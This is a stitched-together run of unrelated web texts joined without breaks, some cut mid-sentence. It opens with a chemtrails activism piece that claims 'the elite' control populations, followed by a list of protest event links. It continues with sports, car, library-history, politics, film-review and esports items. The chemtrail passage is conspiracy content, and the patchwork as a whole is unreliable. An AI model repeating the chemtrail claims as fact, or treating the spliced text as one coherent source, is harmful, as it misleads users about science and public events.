10. Your thoughts will give rise to form. We can never discount the metaphysical. When our positive thoughts and desires for a more just, honest and peaceful world are given form – whether it is through the written word, music, networking or attending a protest – that passion resonates and can be felt at all levels, bringing the new reality one step closer. It is an intention to change the structure of the world that vibrates and resonates beyond our comprehension. The elite know the power of words and intentions for controlling populations, which is why they fear our exchange of passion and ideas. Now we have the opportunity to contribute to the language of personal empowerment and solutions that can bring about an end to their toxic reign.
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Take a look below at the vast interest taking shape and make the decision to participate. If you cannot physically attend one of these gatherings, or one is not taking place in your location, then start one or contribute to the online presence. Write an article that can help educate others, share articles, create pamphlets and flyers, contact your representatives (if only to let them know that you are aware), do anything at all to raise awareness and open up people’s minds. It is the rare person who once awakened makes the choice to return to ignorance.
And remember, you never know who you may activate who will help take all of our efforts to whole new levels of effectiveness and awakening.
http://www.globalmarchagainstchemtrailsandgeoengineering.com/events.html
Read more about positive political activism and consciousness at ZenGardner.com
AFRICA – TUNISIA REPUBLIC – ( Tunis ) https://www.facebook.com/events/751785194850385
GROUP PAGE FOR TUNISIA – https://www.facebook.com/ChemtrailsAwarnessinTunisia–
AUSTRIA – ( Vienna ) https://www.facebook.com/events/230016467164381/
BELGIUM – ( Brussels ) https://www.facebook.com/events/637864306234572
SERBIA – ( Beograd ) https://www.facebook.com/events/512021425557862/
CANADA – ALBERTA – (Fort Saskatchewan) https://www.facebook.com/events/934641473290087/
CANADA – ALBERTA – ( Edmonton ) https://www.facebook.com/events/776554209025299
CANADA – QUEBEC ( Montreal ) https://www.facebook.com/events/517487851646410/
CANADA – NEWFOUNDLAND – ( St. John’s ) https://www.facebook.com/events/580519682003914/
DENMARK – ( Copenhagen ) https://www.facebook.com/events/610646898989682/
DENMARK – ( Aarhus ) https://www.facebook.com/events/570775359684146
ENGLAND ( London ) https://www.facebook.com/events/695916590442144/
ENGLAND – ( Plymouth ) https://www.facebook.com/events/276424479174277/
ENGLAND – SUSSEX – ( East Grinstead ) https://www.facebook.com/events/674756372559156/
GROUP PAGE FOR ENGLAND – SUSSEX – ( East Grinstead ) https://www.facebook.com/groups/507614999337142/
FRANCE – ( Caen ) https://www.facebook.com/events/627124867345472
FRANCE – ( Montélimar ) https://www.facebook.com/events/648059308577569/
FRANCE – (Paris) – https://www.facebook.com/events/179103515610598/
FRANCE – ( Perpignan ) https://www.facebook.com/events/452283864894980/
FRANCE – (Ploermel) https://www.facebook.com/events/170696556471297/
FINLAND – ( Helsinki ) https://www.facebook.com/events/514097745333813/
GERMANY – ( Berlin ) https://www.facebook.com/events/1424646284421560/?ref=22
GERMANY – ( Cologne ) https://www.facebook.com/events/807656709259937
GERMANY ( Freiburg ) https://www.facebook.com/events/176440349216292/
HUNGARY – ( Budapest ) https://www.facebook.com/events/1405217386378396/
IRELAND – ( Birr ) https://www.facebook.com/events/1421000428137262/
ISRAEL – ( Tel Aviv ) https://www.facebook.com/events/1454445894776932/
JAPAN – ( Tokyo ) https://www.facebook.com/events/702235089810804/
THE NETHERLANDS – ( Amsterdam ) https://www.facebook.com/events/1380285858896705
THE NETHERLANDS – ( Leeuwarden ) https://www.facebook.com/events/1381034942155269/
NEW ZEALAND – (Golden Bay) – https://www.facebook.com/events/677424425642707/
NORWEGEN – ( Oslo ) https://www.facebook.com/events/550763255018692/
POLAND – https://www.facebook.com/events/1396895617226008
POLAND – ( Wroclaw ) https://www.facebook.com/events/194244864106695/
PORTUGAL – ( Lisbon ) https://www.facebook.com/events/617335834992178/
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PORTUGAL – ( Porto ) https://www.facebook.com/events/440940836031901
THAILAND – ( Bangkok ) https://www.facebook.com/events/786108701406294/
SERBIA ( Belgrade ) https://www.facebook.com/events/512021425557862/
SLOVENIA – ( Ljubljana ) https://www.facebook.com/events/510445615713952/
SPAIN – ( Huesca ) https://www.facebook.com/events/634334823279982
SPAIN – ( Girona ) https://www.facebook.com/events/258274827669227/
SPAIN – ( Madrid ) https://www.facebook.com/events/1416514845249562/
SPAIN – ( Barcelona ) – https://www.facebook.com/events/535328663230170/
SWEDEN – ( Gothenborg ) https://www.facebook.com/events/417647731680254/
SWEDEN – ( Stockholm ) https://www.facebook.com/events/485397624912654
SWITZERLAND – ( Zürich ) https://www.facebook.com/events/611356452267809/
UK – WORCESTERSHIRE – ( Worchester ) https://www.facebook.com/events/454653997989979
USA – ARIZONA – ( Falgstaff ) https://www.facebook.com/events/427274430708014/
USA – ARIZONA – ( Phoenix ) https://www.facebook.com/events/581805048544378/
USA – ARIZONA – ( Tuscon ) https://www.facebook.com/events/1416781558545562/
USA – ARKANSAS – (Little Rock) https://www.facebook.com/events/412700125527270/
USA – CALIFORNIA – (Temecula) https://www.facebook.com/events/171792996326659/
USA – CALIFORNIA – ( Los Angeles ) https://www.facebook.com/events/334765473335866/
USA – CALIFORNIA – ( Nevada City ) https://www.facebook.com/events/663618850347438
USA – CALIFORNIA – ( Orange ) https://www.facebook.com/events/273223329491429/
USA – CALIFORNIA – ( Santa Cruz ) https://www.facebook.com/events/212403215611146
USA – CALIFORNIA – ( San Diego ) https://www.facebook.com/events/1428405810723076/
USA – CALIFORNIA – ( San Francisco ) https://www.facebook.com/events/238830322962306
USA – CALIFORNIA – ( San Jose ) https://www.facebook.com/events/637218989673708/
USA – CALIFORNIA – ( Sonora ) https://www.facebook.com/events/585456348204268Marino Ranked As Top Rookie Quarterback Of All-Time
Last week, we told you about Dan Marino‘s overall greatness.
Arguably the most dominant and complete passer of all-time, Marino was ranked as the best player in the AFC during the 1980s by NFL.com, and fourth-best overall player in that decade. But with all the accolades and records that “Dan The Man” has racked up and accomplished over his 17 year career, it all started with a blistering rookie campaign that signaled a new era in Miami. In fact, it may have just been the best rookie season ever by a quarterback according to NFL.com.
In honor of this week’s Rookie Symposium, NFL Media’s Elliot Harrison compiled a photo essay ranking the best rookies of all-time. The top rookie quarterback in the history of the NFL? None other than Dan Marino.
Marino heads up our All-Time All-Rookie Team by virtue of his stellar performance in ’83. After taking over in Week 6 for David Woodley, Marino led Miami to the playoffs and finished with the highest passer rating in the AFC (96.0 — extremely high for the era, particularly for a rookie). He threw 20 touchdown passes against just six interceptions.
Marino’s rookie season was likely the best ever despite only starting nine games. In games he started, he put up a quarterback rating of over 100 five times, had a rating below 84.6 only once, went 7-2, and like Harrison mentioned, took Miami to the divisional round of the AFC postseason. His 96.0 passing rating was good for third in the NFL that season, behind NFL MVP Joe Theismann and two-time Pro Bowler Steve Bartkowski. Doing all of this at the age of 22, we should have known a lot more success awaited Marino after this terrific start to his career.
On the team, Marino joins other NFL legends such as Lawrence Taylor, Ronnie Lott, Mike Ditka, and Eric Dickerson. Harrison listed that Marino beat out the following players for the title: Sammy Baugh, Bob Waterfield, Otto Graham, Ben Roethlisberger, Matt Ryan, and Russell Wilson.
RELATED: Marino Ranked #1 AFC Player Of The 1980s
RELATED: Tannehill Poised To Lead Offense
RELATED: Griese Breaks Down Tannehill’s Development
RELATED: Marino Ranked As One Of NFL’s Top 5 QBs of All-Time
Please Note:
The opinions, analysis and/or speculation expressed by The Finsiders Blog represent those of individual writers, and unless quoted or clearly labeled as such, do not represent the opinions, policies or desires of the Miami Dolphins organization, front office, coaches and executives. Writers' views are formulated independently from any inside information and/or conversation with Dolphins officials, including the coaches and scouts, unless otherwise noted.SUV
HP
We’re much obliged to tell you that the family hauler is a 2007 Chevrolet Tahoe. Essentially a truck with the body of a full-size, the 5.3-liter V8-powered daily runner is as tough as nails and as practical as possible. Too bad its mammoth size renders it rather hard to park. What else is there? A fifth-gen Camaro.Mary publicly declared she loves her Camaro SS to bits. A 6.2-liter LS3 small-block V8 and over 400at one’s right foot is a recipe for fun. Truth be told, it’s somewhat hard to imagine the chief exec of General Motors hooning the Camaro’s rear, pulling 11s or getting into a drag race from traffic light to traffic light.In an interview from late 2014, Mary Barra told the media that she plans to acquire a Cadillac SRX. If that actually happened, it’s mum’s guess, but we’re happy to tell you that the GM CEO’s garage will see the addition of a Chevrolet Corvette Z06. Not joking.A worker from the Corvette factory in Bowling Green, Kentucky, sent the photographs featured below to CorvetteBlogger.com. The 650 horsepower brute is a convertible model. Probably en route to Mary as we speak, the 2015 Corvette Z06 is equipped with the 8-speed automatic and a Stage 1 Aero Package. In a sea of ominous black, the only contrasting hue is the bright yellow paint applied to the brake calipers.When Mary Barra took the reigns of General Motors in January 2014, guess what Chevrolet nameplate debuted at then’s edition of the Detroit Auto Show. It seems like Mary’s first big automotive show as the helmswoman of GM also gave her the urge to put an order on Chevrolet’s most performance-oriented car. On an ending note, we’d love to see Mary challenge theto a quarter mile drag race.-------------------------------
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Continuing my vg HD collection!That's really something that i wanted to do when i was younger, but i could not cause i hadn't the skills.I would really enjoy being artistic director for 2D games, or even 2D remakes like the mock ups i'm doing.Anyway, here is the level of Link to the past i'm remaking right now, with a photorealistic, highly detailled full hd render.Except it will be the night rainy version from the beginning of the game, even if i have trouble to do the top shot rain ^^Good week to you all!A History of the Carleton Place Public Library
In honour of Janet Baril’s Retirement, Head Librarian 1984-2013
Starting in 1829, the Ramsay and Lanark Circulation Library originally served the townspeople of Carleton Place. It had over 500 volumes, and was located in the Anglican Church which stood at Lot 16, 1st Con. Ramsay, opposite the Union Hall and schoolhouse.
Our present library began on March 14, 1846, as a Subscription Library with 65 original members. The entry fee was 2 shillings and the yearly fee was 5 shillings. The subscription list continued until 1850. By 1851, the Carleton Place library was operating out of the school house on Bridge Street, later Central School, which became the site of the post office. Some pages are missing until a partial list appears in 1864 when the record ends.
The officers and directors of the Carleton Place Library and Mechanics’ Institute for 1851 were:
President: James Duncan (blacksmith); Vice President: William Peden (merchant); Treasurer: Robert Bell, M.P.P. ; Secretary: David Lawson (store clerk, postmaster) ; Librarian: Johnston Neilson (schoolmaster) ; Directors: George Dunnet (merchant), Duncan McGregor, James C. Poole (newspaper publisher), Thomas Patterson (Ramsay farmer), John McCarton (Ramsay farmer).
April 5, 1865: “The Carleton Place Library will be open on Monday next, and on the first Monday of every month hereafter. Person wishing to read can on payment of.25 cent per quarter of a year.”
Interest in the library seemed to have dwindled until 1883 with the formation of the Carleton Place Mechanics Institute. The object of this Association was to: “establish a reading room and library, procure suitable apartments (sic) and deliver courses or lectures on useful and interesting subjects, as well as supply its members with the means of instruction in Arts, Sciences, Literature and General knowledge.” They housed the library wherever there was an empty building, or an individual would take it to their home. The Mechanics Institute looked after the library until 1895, when legislation was passed in Ontario whereby the Mechanics Institute became the Public Library, free of subscription dues. The Town by-law taking over the Library was not passed in its’ complete form until January, 1897. Upon completion of the Town Hall in that year, the Public Library began its’ long stay there. At this time the book collection was 2,458 volumes, and the number of books taken out during the year was 4,418.
In 1897, the Art Loan Exhibit, an exhibit of Lanark and Renfrew’s social and natural history was put together by the library at the Opera Hall in the new Town Hall.
Information from 1956 shows that “At present there are about 1,000 borrowers, approximately 8,000 volumes to choose from, and a yearly and growing circulation of over 20,000…on the library tables there is an excellent range of daily papers as well as periodicals of Canadian, English and U.S. origin, which can be read in the quiet and well-lighted main room…the library is housed in the town hall main floor, a central and convenient place for its users…”
In 1966 the Eastern Ontario Regional Library System was set up. This allowed for a pooling of book resources and interests of all Public Libraries in the ten counties of Eastern Ontario.
In 1970 the new library was built on land donated by the Town and funded by private individuals. It measured 3200 sq. ft., four times the size of the Town Hall library. Once again, in 1979, the Library needed more space and was expanded to double its’ size.
Then in September, 1986, the Library was vandalized and set on fire, destroying the adult fiction collection and causing water and smoke damage to the rest of the collection. The library was moved to temporary quarters in the Mews Professional Building on Lansdowne Avenue, until the library was |
and similar sites like Wiktionary, released a list of its links that Google has removed from its search engine in accordance with Europe’s “right to be forgotten” law. The list included Wikipedia pages for an accused Irish bank robber nicknamed the “Monk,” as well as an Italian mobster. Wikimedia said that over the last week it has received five notifications from Google, three of which involved organized crime.
“We will put the notices up as they come in, in order to be sure that people can find out what information is not being made available to them,” said Katherine Maher, a spokeswoman for Wikimedia.
Europe’s highest court ruled in May that people have the right to ask search engines to remove links to content about them, but the law leaves it to search engines like Google or Microsoft’s Bing to figure out how to comply. Google has complained about this. The search giant has received 90,000 takedown requests as of July 18 and has approved a little more than half of them.
One might conclude that the recent discussion about the law, and Google’s efforts to comply, has only increased interest in forgotten material.
Google alerts users when search results are censored, though it doesn’t say exactly what has been removed. It also tells publishers when it removes one of their links from a search. Google doesn’t tell them who made the request, but publishers can sometimes figure it out by comparing Google searches in Europe with searches in the United States. Take Greg Lindae, a private equity investor who successfully lobbied Google to remove a 1998 Wall Street Journal article that identified him as a participant in a Tantric sex workshop, only to be featured in a July article about his request.
Geoff Brigham, general counsel for Wikimedia, likened “right to be forgotten” to a law that required libraries to remove records from the card catalog while leaving the offending books on the shelves.
“We don’t think that makes any sense,” he said. “It has delegated the protection of the right of freedom of expression to private search engine companies.”
So Wikimedia will continue to publish takedown notices as they receive them. “We would encourage all publishers to do the same,” Ms. Maher said.
Search engines have long had some degree of censorship. Google publishes a regular transparency report detailing requests to remove content. Until now, it has mostly removed links that violate copyrights or break local laws. In Germany, for instance, Google doesn’t list sites with neo-Nazi propaganda, in accordance with local laws.
In addition to the list of “forgotten” links, Wikimedia released its own transparency report on Tuesday.Some said that they, like the hundreds of uncommitted superdelegates still at stake, might ultimately “go with the flow,” in the words of one, and support the candidate who appears to show the most strength in the primaries to come.
The Clinton team moved on Monday to shift the spotlight off the candidate’s short-term challenges and focus instead on “the long run,” in the words of her senior strategist, Mark Penn.
“She has consistently shown an electoral resiliency in difficult situations that have made her a winner,” Mr. Penn said. “Senator Obama has in fact never had a serious Republican challenger.”
Clinton advisers have said that superdelegates should support the candidate who they believe would be the best nominee and the best president, while Obama advisers have argued that superdelegates should reflect the will of the voters and also take into account who they believe would be the best nominee. Superdelegates are Democratic party leaders and elected officials, and their votes could decide the nomination if neither candidate wins enough delegates to clinch a victory after the nominating contests end.
With primaries on Tuesday in Maryland, Virginia, and the District of Columbia, Clinton advisers were pessimistic about her chances, though some held out hope for a surprise performance in Virginia.
And as polls show Mr. Obama gaining strength in Wisconsin and his native state, Hawaii, which vote next Tuesday, advisers, donors and superdelegates said they were resigned to a possible Obama sweep of the rest of February’s contests.
Some donors also expressed concern about a widening money imbalance between Mr. Obama and Mrs. Clinton: Obama fund-raisers say he is taking in roughly $1 million a day, while Clinton fund-raisers say she is taking in about half of that, mostly online. Mrs. Clinton’s aides say that the campaign was virtually broke as of the Feb. 5 primaries, but that finances have stabilized.
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Mr. Obama’s financial edge allowed him to begin running television advertisements in Ohio and Texas on Monday, while the Clinton campaign plans to begin advertising on Tuesday. Clinton advisers say that she will have advertisements running statewide in both Ohio and Texas, and that she will have advertisements in English and Spanish in Texas.
“I think that clearly things have not been going as great as they were with her victories on Super Tuesday, and we can’t wait to get to March 4,” said Alan Patricof, one of Mrs. Clinton’s national finance chairmen.
Mrs. Clinton will have “a major ad buy” through the next week in Wisconsin, a senior adviser said Monday, and spend a few days campaigning there. But this adviser and others said the bulk of her time would be devoted to campaigning in Ohio, Texas and a bit in Rhode Island. In a sign of Texas’s importance, she plans to fly there Tuesday, even though Wisconsin votes next week.
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While Mrs. Clinton’s advisers and allies emphasize that she has the time and the financial resources to regroup, they say she will have to take more significant steps to shore up her candidacy beyond the staff shakeup she engineered on Sunday, when she replaced her campaign manager and longtime aide, Patti Solis Doyle, with another veteran adviser, Maggie Williams.
Campaign advisers said they expected Ms. Williams to bring new energy to both the campaign team and Mrs. Clinton, after a long year of campaigning, and to encourage her to show more spunk and determination on the campaign trail. They say they do not expect the candidate’s political message to change appreciably; she will increasingly focus on the concerns of working-class voters, a key demographic in Ohio, as well as of Hispanics, a significant population in Texas.
As she seeks to erect a fire wall for her candidacy in Ohio and Texas, Mrs. Clinton will deploy her husband, former President Bill Clinton, to campaign in both states, particularly in Ohio, where her advisers believe his popularity will help her with working-class voters, labor union members and black voters.
In a conference call with reporters on Monday, Mr. Penn, who is also Mrs. Clinton’s pollster, played down some polls that showed strength for Mr. Obama and highlighted Mrs. Clinton’s abilities to beat the leading Republican candidate, Senator John McCain of Arizona.
“We believe that Hillary Clinton in the long run is better positioned to take on John McCain,” Mr. Penn said.
Yet some Clinton donors and superdelegates worry that the focus on Mr. McCain is premature, and that other strategic decisions by the campaign — like counting on Michigan and Florida delegates to be seated at the convention even though their status is in limbo — show faulty thinking that suggests the Clinton campaign does not have a short-term game plan against Mr. Obama.
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“They are looking way too much at Florida, Michigan and McCain, because all three won’t matter if she doesn’t blow Obama away in Texas and Ohio,” said a Democrat who is both a Clinton superdelegate and major donor, and who spoke on condition of anonymity to offer a candid assessment of campaign strategy. “Obama has momentum that has to be stopped by March 4.”
Clinton advisers took issue with the notion that Mr. Obama’s momentum was significant, noting that his victory in the Iowa caucuses did not translate into winning the New Hampshire primary five days later, and his South Carolina victory did not prevent Mrs. Clinton from winning the biggest states on Feb. 5.
“There is no evidence that voters are voting based on momentum — in fact the evidence is to the contrary,” said Howard Wolfson, Mrs. Clinton’s communications director.
Hassan Nemazee, another national finance chairman for Mrs. Clinton, said he was also telling his network of allies not to get caught up in the headlines about Obama
“I’m telling donors and supporters: Don’t be overly concerned about what goes on in the remainder of the month of February because these are not states teed up well for us,” Mr. Nemazee said.
Asked if that message was sinking in, he pointed to the campaign’s announcement that Mrs. Clinton had raised $10 million online so far this month, and was on pace to raise more than $25 million in February.
“I predict for you we will have our best single fund-raising month in February, and that’s significant,” he said.Blumhouse throws their hat into the ring this Halloween season with this clever horror comedy.
RATING: ★★★ (out of four stars)
The 1990s were a decade full of trends and fads respective to its place in time; and the film industry at that period had trends of its own, from low-budget independent films from what would be the greatest auteurs of today to the birth and rise of computer generated animation and effects. The slasher subgenre would be another trend that was prevalent throughout multiplexes; Wes Craven’s New Nightmare set a new bar for the subgenre while I Know What You Did Last Summer and the Scream franchise would become smash hits at the box office in their respective years. Flash forward to this weekend, where Happy Death Day makes its way to theaters as something that at least feels inspired by the slasher films of the 90s and even Groundhog Day, a comedy staple of the time period. It certainly isn’t on the same level of the former or as innovative as the latter, but it mashes the concepts of the two together to create a self-aware piece of dumb entertainment just in time for Halloween.
And leave it to no one other than Blumhouse Productions to inject clever fun into the horror genre. Founded in 2000 by Emmy-award winning Jason Blum, Blumhouse is a production company with a smart business model: specialize in the horror genre, which has a niche audience already built in, and produce films with low budgets while giving directors full creative control over their product. The payoff has been successful for both the company and the directors under their watch. James Wan was able to perfect his craft through the first two Insidious films, Scott Derrickson continued his background in scares with the underrated supernatural film Sinister, M. Night Shyamalan resurrected his career working with them while directing The Visit and Split, and earlier this year, Jordan Peele brought social commentary back into the genre through his film Get Out, which is on its way to becoming a potential Oscar contender. That being said, Blumhouse has had its fair share duds over the years, from Eli Roth’s outdated and juvenile gorefest The Green Inferno, to the majority of Paranormal Activity sequels. Christopher B. Landon directed the fourth of those sequels (The Marked Ones) before helming Happy Death Day, but the direction in his newest film is focused and in check thanks to a script with a clever concept and sense of self-awareness.
Happy Death Day begins with the film’s protagonist, Teresa (nicknamed ‘Tree’ by her fellow sorority girls and played by Jessica Rothe), waking up on the morning of her birthday in the dorm room of well-meaning one-night stand Carter (Israel Broussard), hungover from a night of heavy drinking. From there she does the walk of shame back to her sorority house, ignores phone calls from her father, visits her professor who she’s having an affair with, and has a meeting with her catty sorority sisters before making her way to her surprise birthday party only to be murdered on the way by a serial killer in a black hoodie and a baby mask of her university’s mascot, the Bayville Baby (It could have been worse….the Fisher Bunnies is a team that exists). Tree is killed, only to wake up the next morning as she did at the beginning of the film forced to relive her birthday and subsequent murder again and again until she solves who the murderer is. With the help of Carter, she investigates her list of suspects all while her deaths grow more and more varied, explosive and even hilarious, particularly in an early death scene where a bong is the killer’s main weapon.
From its marketing campaign, Happy Death Day looked like a film that could have been terrible if it took itself too seriously. But thankfully, it has a self-aware sense of humor that pokes fun at the cliques and stereotypes of college students, and even puts funny spins tired narrative tropes and clichés; how Tree realizes there’s something special about Carter is hilarious solely for his graphic line that sets it up, and there’s even a set piece where she’s texting her sorority leader while one person is dancing in a rave in the background until the killer shows up that’s enjoyable. The investigation montage that follows is also fun to watch play out as Tree goes to incredible lengths to spy on her suspects while searching for her killer. But what stands out the most in this film is the performance of Jessica Rothe as Tree; she exudes her range as an upcoming scream queen through how she handles all the comedic scenes, moments of terror and even a pivotal scene toward the end where her internal dramatic arc comes to a head. It also helps when she’s given a story based around a character who progresses herself from a self-centered sorority girl into a better, more caring person, despite the arc feeling similar to other movies.
Along with its familiarity, Happy Death Day feels like a movie that would have benefited from an R rating. As it stands rated PG-13, the kills are fun and clever but the film doesn’t fully embrace the absurdity and ridiculousness of its concept as it should. It’s also worth mentioning that the traditionally scary beats of the subgenre lack any feeling of terror, but that’s only for the reason that the movie is less of a horror film and more of a comedy. For those reasons, Happy Death Day isn’t the best film in the horror genre to come out this year. However, it still has a great performance from its lead actress, as well as a clever concept with tongue-in-cheek sense of humor, and that separates itself from the slate of upcoming horror films for the remainder of Halloween season. So if you’ve already seen the It remake and are in the mood for a fun, dumb slasher film that’s entertaining for its runtime, Happy Death Day is worth gathering a group of friends to check it out with this weekend.The lovely, reclusive Lady Roksana remains as yet unmarried. Tonight, though, she's opened her castle to the most eligible of the Empire's nobility. It's a curious thing: her party starts at dusk, and she says that she'll choose a spouse by midnight. Of course, this has attracted the sort of people who are willing to risk life, livelihood, and reputation for the sake of making a grand romantic gesture. But tonight is not a night for romance alone. Each suitor has much cause to speak and scheme with his fellows. Secluded parties, after all, are where Empires rise and fall...
Outsize ambition, abhorrent obsession, and the mundanities of museum politics grind against mad science, threats of illegal sorcery, and a very ill-timed visit from the Emperor. Will the Lady Roksana's party survive the chaos of its guests? And will the Lady Roksana herself manage to marry well? Or ever?As the late columnist Walter Winchell used to say: Onions. Onions to virtually everyone in the press corps for promoting a narrative that has, I believe, become a self-fulfilling prophecy. More than that, it is a narrative, I also believe, that undermines confidence in the election process and damages the country.
We all know the story. This is the hate election, the lesser-of-two-evils election, the most-unpopular-candidates-in-the-history-of-modern-presidential-politics election. Everybody hates Donald Trump and Hillary Clinton. If only we had different candidates from whom to choose, the pundits say, as they roll their eyes and emit heavy sighs! No doubt, you don’t like either one of them very much. You will pull the voting lever with resignation. Or so we are told.
But I began to speculate on how much of the Hillary hatred at least (Trump was very unpopular as reflected in polling data from the get-go) was driven by the press coverage, how many Americans were effectively brainwashed into hating Hillary or felt peer pressure to join the anti-Hillary chorus because the media kept telling us how awful she was, and we didn’t want to be outliers to the hate brigade.
And while there is no definitive way to measure the impact of press coverage on public opinion, I think a fairly powerful case can be made that the media narrative created the media narrative – yet another case of political post-modernism.
The fact is that Hillary Clinton wasn’t unpopular when she announced her decision to run in April 2015. If you look at the Gallup survey in March of last year, 50 percent of Americans had a favorable impression of Clinton, only 39 percent an unfavorable one. So there was clearly no deep reservoir of Clinton hatred among the general public at the time. On the contrary: Americans liked her; they liked her quite a bit.
Already by June, however, her favorability had not only taken a hit. It had plummeted. By July, according to Gallup, her favorability hit an all-time low with only 38 percent positively and 57 percent viewing her negatively — putting her 19 points underwater.
So what happened? One theory is that Hillary Clinton is popular so long as she isn’t seeking power. As soon as she enters the elective arena, her popularity sinks. A blogger named Michael Arnovitz actually traced this phenomenon via surveys and demonstrated a correlation. His conclusion — like Todd Gitlin’s in a recent post on this site — is that Clinton’s popularity is a casualty of misogyny. There are a lot of Americans apparently who don’t like the idea of a woman in high office.
I don’t doubt it is true that Clinton is a victim of misogyny. In fact, her favorability ratings are lowest among men (34 percent last May) and especially white men (25 percent).
But Clinton has always been a woman, and her ratings have generally, until recently and with peaks and valleys, been high, and they were very high when she was Secretary of State, which isn’t a receptionist’s job. In fact, her favorables topped 60 percent throughout her tenure at State Department (2009-13), and remained at nearly 60 a year after she left (2014). So the misogyny, while undoubtedly real, doesn’t offer anything near a full explanation. It certainly doesn’t explain why her numbers nosedived last July.
A second theory that follows from the first is that Clinton’s favorability ratings are depressed by hostility from certain demographic clusters, which, one might expect, would not particularly care for her. Indeed, in this polarized environment as well as in this vehemently anti-politician environment, Clinton isn’t so much the exception as the new rule. When Clinton’s big dive began in the summer of 2015, the only Republicans who were viewed more favorably than unfavorably were Marco Rubio, Scott Walker, John Kasich, Carly Fiorina and Ben Carson, and only the last had a double-digit disparity between favorable and unfavorable. Trump’s deficit was 24 percent. And just for historical perspective, while the numbers tell us that Clinton and Trump are the most unpopular candidates in modern times, Bill Clinton in April 1992 had an unfavorability deficit of 12 percent, and George H.W. Bush, John Kerry, and Mitt Romney all had unfavorable ratings of 40 percent or more.
To get inside Hillary Clinton’s figures, only 15 percent of Republicans viewed her favorably in July 2015, as one might expect, while 75 percent of Democrats did, which one might also expect. Moreover, these figures have remained more or less steady. Though Gallup didn’t break out independents, it seems likely that they are the ones contributing most to Clinton’s plunge. Otherwise, the numbers are hardly surprising. The groups that don’t like Democrats don’t like Clinton. The groups that do, do. She continues to score well among non-whites, unmarried women, Jews, those with a postgraduate education and the poor. All of which is to say that Clinton hatred may be overstated. People who are likely to vote for Trump, roughly 40 percent of the electorate, don’t like her. Again, this may have a lot less to do with Clinton than with our political environment, though you won’t hear that in the media.
What you do hear is not only that everyone hates these candidates, but that the hatred is well deserved.
What you do hear is not only that everyone hates these candidates, but that the hatred is well-deserved. I don’t want to litigate that case for Donald Trump. But just look at last week’s pre-debate coverage on the NBC Nightly News and the PBS NewsHour, both of which I watch regularly. NBC aired a feature on a seventh-grade civics class studying the election, and guess what? These students said they were just as fed up with the candidates (plural) as the electorate is. One said the candidates (plural) behaved like children. Meanwhile, on the NewsHour David Brooks and Mark Shields, the resident solons, speculated on how “low” the candidates (plural) might go that night.
This is rampant “bothsidesism,” since everyone knows that even if you despise Hillary Clinton, even if you think every policy prescription of hers is misguided, even if you feel she is a criminal who ought to be imprisoned, she hasn’t degraded our political discourse. If anything, as Shields would say after the debate in contradiction to his own bothsiderism, she is so focused on policy she has yet to provide a larger vision of governance — another tired media narrative, by the way, that is certainly open to challenge.
Wrong-headed or not, none of this explains Clinton’s July 2015 plunge; it only certifies it. What makes that plunge somewhat baffling is that Clinton made several major policy pronouncements that month – two laying out the broad strokes of her economic policy, and another discussing race. Again, whether you agreed with these pronouncements or not, she was being a serious candidate. It certainly couldn’t have accounted for the sudden turn by voters.
But policy wasn’t what the media were focused on that July. They were focused on emails. There was a court-mandated dump of Clinton’s emails late that month, and the media leapt on it with alacrity. This certainly wasn’t the first time the public had heard about Clinton using a private email server while Secretary of State. That news had come out in March 2015 and hadn’t affected her favorability at all. But the fixation on emails, which had long been an addiction among Republicans and the right-wing media, suddenly became an addiction in the mainstream media as well. According to a Lexis-Nexis search, The New York Times, to cite one example, had seven stories that month with “Clinton” and “emails” in the headline. More important, most news sources reported erroneously that Clinton was the subject of a criminal investigation by the FBI. In reporting a sudden drop in Clinton’s popularity in its own NBC/Wall Street Journal poll that month, NBC professed not to understand why, though it had only to look at its own reporting. You could say that Clinton was sabotaged.
And that wasn’t all. As reported in a study by Harvard University’s Shorenstein Center on media coverage in the pre-primary period, Clinton received especially negative coverage — overwhelmingly negative. At the same time, both Sanders and Trump received extremely positive coverage. As the report put it: “Whereas media coverage helped build up Trump, it helped tear down Clinton. Trump’s positive coverage was the equivalent of millions of dollars in ad-buys in his favor, whereas Clinton’s negative coverage can be equated to millions of dollars in attack ads, with her on the receiving end.” And Shorenstein found there was a ratio of 45 negative stories to one positive story on the emails, much of them generated by Republicans and Fox News and picked up by mainstream media, who readily quoted the Republicans. Eighty-four percent of Clinton’s coverage in this period was negative in tone. Moreover, her coverage in the primary period, as studied by Shorenstein, continued to be disproportionately focused on emails and continued to be heavily negative — 10 negative stories for every positive one.
The transition from the story of the emails to the story of unpopularity itself followed as night does day and rapidly gained a momentum all its own, to the point where it is now quite possibly the central narrative of the election. (Why this happened is not my focus here, though it has a lot to do with the media’s overarching cynicism that puts them above the fray.) Maybe this doesn’t matter much. Maybe Clinton would have torpedoed her own popularity, even without a media assist. Maybe. But with all the condemnation of Trump’s unconscionable declaration that he might not accept the results of the election should he lose, the media conveniently ignored their own nearly 18-month denigration of the democratic process. To insist that both major candidates are unworthy is one thing. It may even be true. To drive a narrative of unworthiness that, at least in Clinton’s case, didn’t exist until the media conjured it, is another.
This isn’t a defense of Hillary Clinton. The press should be critical of all candidates when warranted. It is rather a defense of our traditional tolerance for the imperfections of democracy, which are undeniable, and for our traditional belief that you don’t chuck the system, you improve it. The miasma that hangs over this election and that has exasperated and angered so many Americans emanates from the idea that the system that coughed up these two candidates has failed the voters miserably and irrevocably. It is an idea that, again, in some ways echoes Trump’s own self-serving sabotage. The media, reverting to their negative and cynical default, have worked very hard to convince us we have an unacceptable choice between two terrible candidates, so much so that most of us think this was our idea all along.
It wasn’t — not before July 2015. But now that our faith in the political system is gone, will the media who hammered away at it help restore it?
So let me also award orchids (H/T Winchell) to two pundits who have bucked the narrative: Paul Krugman of The New York Times and Ezra Klein of Vox. Klein said last week that Hillary Clinton won the debates not only because her opponent is unhinged, but also because she destroyed him through preparation, strategy and smarts. Krugman goes even further, writing that Clinton, warts and all, is a worthy candidate without needing Trump to put her worthiness in relief. “She’s a formidable figure and has been all along.” A decent and formidable candidate. Now that’s a revelation.Hi everyone,
We wanted to provide our fans with a short update regarding our CS:GO roster. As you may know, we have been playing with koosta and adreN for the past couple of days due to s1mple needing to fly back to Ukraine in order to arrange his ESL Pro League Visa for London. After having greatly missed his family throughout his stay in the United States, he was looking forward to spending some time in his home country. As s1mple spent more time at home with his family, it became even more apparent that he had missed them so much. This, in combination with concern over his in-game role on the team—and consequently the team atmosphere—led him to reach out to us about his desire to play for a European team and not return to the States.
We take requests like this very seriously and after thorough discussion, we've decided to help s1mple find a new home on a European team, where he can really find his stride. We are going to figure this out together and we will work with him to find potential organizations. In the meantime, s1mple will remain under the Team Liquid banner as a CS:GO streamer.
